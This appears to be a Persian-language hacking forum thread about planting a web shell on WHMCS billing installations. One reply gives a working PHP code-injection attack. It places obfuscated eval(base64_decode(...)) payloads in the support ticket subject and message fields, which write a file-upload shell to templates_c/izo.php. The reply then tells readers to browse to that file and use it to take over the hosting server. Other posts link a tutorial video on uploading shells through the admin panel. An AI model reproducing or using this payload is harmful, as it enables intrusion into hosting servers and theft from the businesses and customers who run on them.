آموزش اپلود شل در Whmcsاز پنل مدیریت

[0R2x]

سلام
=====
در این فیلم آموزش بنده شما را با نحوه اپلود شل از پنل Whmcsاشنا میکنه


پسورد : iranhack.com
دانلود

موفق و سربلند باشید

[blackhacking21]

RE: آموزش اپلود شل در Whmcs

با سلام ، اینو برای کسایی می گم که به هر دلیلی از دانلود فایل خود داری می کنن و دوست دارن این روش رو یاد بگیرن :
این کار از طریق یک اینجکت ( تزریق ) کد های php به whmcs انجام میشه که خیلی راحته !
یکیش استفاده از نرم افزار whmcs exploiter هست ! یکیشم بصورت دستیه
به این صورت که شما وارد قسمت ارسال تیکت whmcs میشید !
یک بخش رو برای درخواست پشتیبانی انتخاب کرده !
سپس قسمت های صفحه رو همانند زیر پر کنید :
نام : iranhack name
ایمیل :[email protected] email
موضوع : {php}
eval(base64_decode ('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmph RzhnSnp4bWIzSnRJR0ZqZEdsdmJq MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMT FiSFJwY0dGeQtkQzltYjNKdExX UmhkR0VpSUc1aGJXVTlJblZ3Ykc5aFpHVnlJaUJwWkQwaWRYQn NiMkZrWlhJaVBpYzdEUXBsWTJo dklDYzhhVzV3ZFhRZwtkSGx3WlQwaVptbHNaU0lnYm1GdFpUMG labWxzWlNJZ2MybDZaVDBpTlRB aVBqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKeg tkV0p0YVhRaUlHbGtQU0pmZFhC c0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTk NtbG1LQ0FrWDFCUFUxUmJKMTkx Y0d3bgtYU0E5UFNBaVZYQnNiMkZrSWlBcElIc05DZ2xwWmloQV kyOXdlU2drWDBaSlRFVlRXeWRt YVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZgtSa2xNUlZOYk oyWnBiR1VuWFZzbmJtRnRaU2Rk S1NrZ2V5QmxZMmh2SUNjOFlqNVZjR3h2WVdRZ1UxVkxVMFZUSU NFaElUd3ZZajQ4WW5JKwtQR0p5 UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYj JGa0lFZEJSMEZNSUNFaElUd3ZZ ajQ4WW5JK1BHSnlQaWM3SUgwTgtDbjBOQ2o4KyIpOwokZm8gPS Bmb3BlbigidGVtcGxhdGVzX2Mv aXpvLnBocCIsInciKTsKZndyaXRlKCRmbywkY29kZSk7'));
{/php}
پیام : {php}
eval(base64_decode ('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmph RzhnSnp4bWIzSnRJR0ZqZEdsdmJq MGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMT FiSFJwY0dGeQtkQzltYjNKdExX UmhkR0VpSUc1aGJXVTlJblZ3Ykc5aFpHVnlJaUJwWkQwaWRYQn NiMkZrWlhJaVBpYzdEUXBsWTJo dklDYzhhVzV3ZFhRZwtkSGx3WlQwaVptbHNaU0lnYm1GdFpUMG labWxzWlNJZ2MybDZaVDBpTlRB aVBqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKeg tkV0p0YVhRaUlHbGtQU0pmZFhC c0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTk NtbG1LQ0FrWDFCUFUxUmJKMTkx Y0d3bgtYU0E5UFNBaVZYQnNiMkZrSWlBcElIc05DZ2xwWmloQV kyOXdlU2drWDBaSlRFVlRXeWRt YVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZgtSa2xNUlZOYk oyWnBiR1VuWFZzbmJtRnRaU2Rk S1NrZ2V5QmxZMmh2SUNjOFlqNVZjR3h2WVdRZ1UxVkxVMFZUSU NFaElUd3ZZajQ4WW5JKwtQR0p5 UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYj JGa0lFZEJSMEZNSUNFaElUd3ZZ ajQ4WW5JK1BHSnlQaWM3SUgwTgtDbjBOQ2o4KyIpOwokZm8gPS Bmb3BlbigidGVtcGxhdGVzX2Mv aXpvLnBocCIsInciKTsKZndyaXRlKCRmbywkY29kZSk7'));
{/php}
در نهایت دکمه ی send یا ارسال رو بزنید و برید به آدرس زیر :
yourtarget/templates_c/izo.php
بعد از آپلود شل در این قسمت میتونین از طریق اسکریپت های مرتبط پنل whm سرور رو بزنید و سرور رو به دست بگیرید . این باگ روی whmcs های جدید بسته شده و فقط روی بعضی ها جواب میده ! موفق باشید

[Moji.Rider]

RE: آموزش اپلود شل در Whmcs

blackhacking21 عزیز باتشکر از فعالیت شما.
اما مثل اینکه شما به فیلم دقت نکردید.
موضوع این تاپیک باگ php code injection که در قسمت تیکت ها هست، نیست.
در فیلم آموزشی بالا، آموزش آپلوذ شل از طریق پنل ادمین آموزش داده شده.
به طور مثال ممکنه که شما یک سایت با این سی ام اس رو از سرور هک کنی و به کنترل پنل ادمین دسترسی داشته باشی و از طریق اون بخواید شل آپلود کنید که در فیلم آموزشی که در اولین پست بود آموزش این کار داده شده.
باز هم ممنون از فعالیتتون.
موفق باشید /

[rahrast]

RE: آموزش اپلود شل در Whmcs

فیلم پاک شده لطفا دوباره آپلود کنید !
ممنون !

[Moji.Rider]

RE: آموزش اپلود شل در Whmcs

فیلم پاک شده لطفا دوباره آپلود کنید !
ممنون !

دوست عزیز لینک تست شد و کاملاً کار میکنه. لطفاً دوباره تست کنید :
[align=left]

http://wdl.persiangig.com/pages/download/?dl=http://mrcyber.persiangig.com/IranHack/upload%20shell%20via%20whmcs%20control.zip

[/align]